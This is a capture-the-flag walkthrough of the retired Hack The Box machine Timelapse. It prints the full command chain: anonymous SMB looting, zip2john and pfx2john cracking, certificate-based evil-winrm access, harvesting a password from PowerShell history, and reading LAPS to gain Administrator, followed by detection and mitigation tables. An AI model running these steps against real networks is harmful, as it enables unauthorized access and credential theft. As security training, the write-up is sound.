Timelapse
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC dc01.timelapse.htb |
| Difficulty | Easy |
| Approx. time | ~30 min |
| Chain | Anonymous SMB → winrm_backup.zip (zip2john) → PFX (pfx2john) → certificate-based WinRM → PSReadLine history (svc_deploy) → LAPS_Readers → Administrator password |
flowchart TD A["Anonymous SMB: Shares"] --> B["winrm_backup.zip"] B -->|zip2john → rockyou| C["legacyy_dev_auth.pfx"] C -->|pfx2john → rockyou| D["Cert + private key"] D -->|evil-winrm -S -c -k| E["legacyy shell"] E -->|ConsoleHost_history.txt| F["svc_deploy creds"] F -->|net user| G["svc_deploy ∈ LAPS_Readers"] G -->|Get-AdmPwdPassword dc01| H["Administrator local password"] H -->|evil-winrm| I["Administrator (root.txt)"]
- An anonymous SMB share (
Shares) holdswinrm_backup.zip. We crack it with zip2john; inside is a password-protected PFX, which we crack with pfx2john. - From the PFX we extract certificate and private key and authenticate over WinRM-over-TLS (5986) with no password.
- The PowerShell history (
ConsoleHost_history.txt) leakssvc_deploy’s credentials, and it belongs toLAPS_Readers. That group can read the LAPS passwords of the domain’s machines, so we read the local Administrator password and log in.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: DC
dc01, domaintimelapse.htb, SMB (445), LDAP and WinRM over TLS on 5986 (note: not plaintext 5985).What I think: Windows + AD, no web. I start with anonymous SMB. 5986 being open hints the access will be certificate-based WinRM. → Network service enumeration
2. Initial access: from the ZIP to the certificate
Section titled “2. Initial access: from the ZIP to the certificate”-
Anonymous share
What I do:
Ventana de terminal smbclient -L //$IP/ -Nsmbclient //$IP/Shares -Nsmb> recurse ON; prompt OFF; mget *What I see:
DevandHelpDeskfolders. InDev,winrm_backup.zip(password-protected).What I think: the name (
winrm_backup) already says there’s WinRM auth material inside. → AD / SMB enumeration -
Crack the ZIP and the PFX
What I do:
Ventana de terminal zip2john winrm_backup.zip > zip.johnjohn zip.john --wordlist=/usr/share/wordlists/rockyou.txt # → supremelegacy# inside: legacyy_dev_auth.pfx, also password-protectedpfx2john legacyy_dev_auth.pfx > pfx.johnjohn pfx.john --wordlist=/usr/share/wordlists/rockyou.txt # → thuglegacyWhat I see: two cracked passwords, one for the ZIP and a different one for the PFX.
-
Extract certificate and key
What I do:
Ventana de terminal openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodesopenssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pemWhat I think: a PFX is a PKCS#12 container with certificate + private key. WinRM over TLS accepts certificate authentication, so I don’t need a user password. → Credentials and certificates
-
Certificate-based WinRM
What I do:
Ventana de terminal evil-winrm -i $IP -c cert.pem -k key.pem -SWhat I see: a shell as
legacyy.user.txt→abcd…wxyz(redacted).
3. Lateral movement: PowerShell history
Section titled “3. Lateral movement: PowerShell history”-
Read the console history
What I do:
Ventana de terminal type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtWhat I see: an old command with
svc_deploy’s credentials in clear:E3R$Q62^12p7PLlC%KWaxuaV.What I think: PSReadLine’s
ConsoleHost_history.txtis a goldmine: it keeps everything the user typed, passwords included. It’s one of the first things I check on a Windows shell. → Windows enumeration -
WinRM as svc_deploy
What I do:
Ventana de terminal evil-winrm -i $IP -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -Snet user svc_deployWhat I see:
svc_deployis a member of theLAPS_Readersgroup.
4. Escalation: read LAPS
Section titled “4. Escalation: read LAPS”-
Understand LAPS
What I think: LAPS (Local Administrator Password Solution) manages the local admin passwords of domain computers and stores them in a computer-object attribute (
ms-Mcs-AdmPwd). Whoever holds the extended right to read that attribute (here,LAPS_Readers) can read the local Administrator password of those machines. → Credential dumping -
Read the Administrator password
What I do: with the
AdmPwd.PSmodule or directly over LDAP.Ventana de terminal # Check who holds the right:Find-AdmPwdExtendedRights -Identity 'Domain Controllers' | select ExtendedRightHolders# Read the password:Get-AdmPwdPassword -ComputerName dc01 | select PasswordAlternative with no module upload, over LDAP:
Ventana de terminal nxc ldap $IP -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M lapsWhat I see: the local
Administratorpassword ofdc01.Why it works:
LAPS_Readershas theReadLAPSPasswordextended right delegated over the Domain Controllers, so the password attribute, normally unreadable, is readable for this group. -
Shell as Administrator
What I do:
Ventana de terminal evil-winrm -i $IP -u administrator -p '<LAPS_pass>' -Scat C:\Users\Administrator\Desktop\root.txtWhat I see: a shell as
Administrator.root.txt→abcd…wxyz(redacted).
Progressive hints
Section titled “Progressive hints”The anonymous share has a WinRM backup. Which file format lets you authenticate with no password?
There are two password layers: the ZIP and the PFX. They’re different. zip2john and pfx2john.
You have a shell. Where does PowerShell store everything you’ve typed, passwords included?
svc_deploy is in a tellingly-named group. What can that group read?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Using the ZIP pass for the PFX | Fails | They’re two different passwords; crack the PFX separately |
| WinRM on 5985 (plaintext) | Closed | The open port is 5986 (TLS); use -S in evil-winrm |
| Classic local privesc hunting | Unnecessary | The route was reading LAPS with the LAPS_Readers group |
Methodology takeaways
Section titled “Methodology takeaways”- Anonymous share → download it all and check the “backup” files. A protected
.zip/.pfxusually holds auth material. - PFX = cert + key. Crack with
pfx2johnand authenticate over WinRM TLS with-c/-k; you don’t need the user password. - First shell on Windows → read
ConsoleHost_history.txt. It’s the fastest credential source. - Telling group name (
LAPS_Readers) → check it. Membership of a group with LAPS read rights is direct DA if it covers the DCs. - LAPS rotates: if the read password doesn’t work, read it again.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Anonymous share with secrets | Events 5140/5145; review backups with sensitive material | Remove anonymous access; don’t leave ZIP/PFX with keys in shares |
| Offline cracking | Leaves no trace on the target | Long passwords on ZIP/PFX; don’t distribute private keys |
| Credentials in PSReadLine | Audit reads of ConsoleHost_history.txt |
Disable/clear the history; don’t type passwords on the command line |
| LAPS read | Event 4662 on the ms-Mcs-AdmPwd attribute; later 4624 |
Review who holds ReadLAPSPassword; segment the reader groups; modern Windows LAPS with auditing |
References
Section titled “References”- Microsoft — LAPS (Local Administrator Password Solution): https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
- The Hacker Recipes — LAPS: https://www.thehacker.recipes/ad/movement/dacl/readlapspassword
- OpenSSL — PKCS#12 (
pkcs12): https://docs.openssl.org/master/man1/openssl-pkcs12/